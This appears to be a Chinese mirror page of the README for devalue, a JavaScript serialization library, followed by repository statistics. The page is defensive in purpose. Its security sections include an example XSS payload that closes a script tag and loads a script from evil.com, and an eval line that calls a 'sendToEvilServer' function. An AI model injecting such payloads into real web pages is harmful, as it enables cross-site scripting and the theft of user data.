devalue

Gets the job done when JSON.stringify can't

  • 所有者: sveltejs/devalue
  • 平台:
  • 许可证: MIT License
  • 分类:
  • 主题:
  • 喜欢:
    0
      比较:

Github星跟踪图

devalue

Like JSON.stringify, but handles

  • cyclical references (obj.self = obj)
  • repeated references ([value, value])
  • undefined, Infinity, NaN, -0
  • regular expressions
  • dates
  • Map and Set

Try it out on runkit.com.

Goals:

Non-goals:

  • Human-readable output
  • Stringifying functions or non-POJOs

Usage

import devalue from 'devalue';

let obj = { a: 1, b: 2 };
obj.c = 3;

devalue(obj); // '{a:1,b:2,c:3}'

obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'

If devalue encounters a function or a non-POJO, it will throw an error.

XSS mitigation

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
  userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

Which would result in this:

<script>
  // NEVER DO THIS
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

Using devalue, we're protected against that attack:

const template = `
<script>
  var preloaded = ${devalue(state)};
</script>`;
<script>
  var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>

This, along with the fact that devalue bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by devalue can be safely deserialized with eval or new Function:

const value = (0,eval)('(' + str + ')');

Other security considerations

While devalue prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed devalue would have access to your system.

When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:

{
  const sensitiveData = 'Setec Astronomy';
  eval('sendToEvilServer(sensitiveData)'); // pwned :(
  (0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}

Using new Function(code) is akin to using indirect eval.

See also

License

MIT

主要指标

概览
名称与所有者sveltejs/devalue
主编程语言JavaScript
编程语言JavaScript (语言数: 1)
平台
许可证MIT License
所有者活动
创建于2018-03-10 21:53:48
推送于2024-09-25 20:10:53
最后一次提交
发布数28
最新版本名称v5.1.1 (发布于 2024-09-25 16:10:52)
第一版名称v1.0.0 (发布于 2018-03-10 16:54:43)
用户参与
星数2.4k
关注者数13
派生数64
提交数174
已启用问题?
问题数45
打开的问题数25
拉请求数33
打开的拉请求数12
关闭的拉请求数9
项目设置
已启用Wiki?
已存档?
是复刻?
已锁定?
是镜像?
是私有?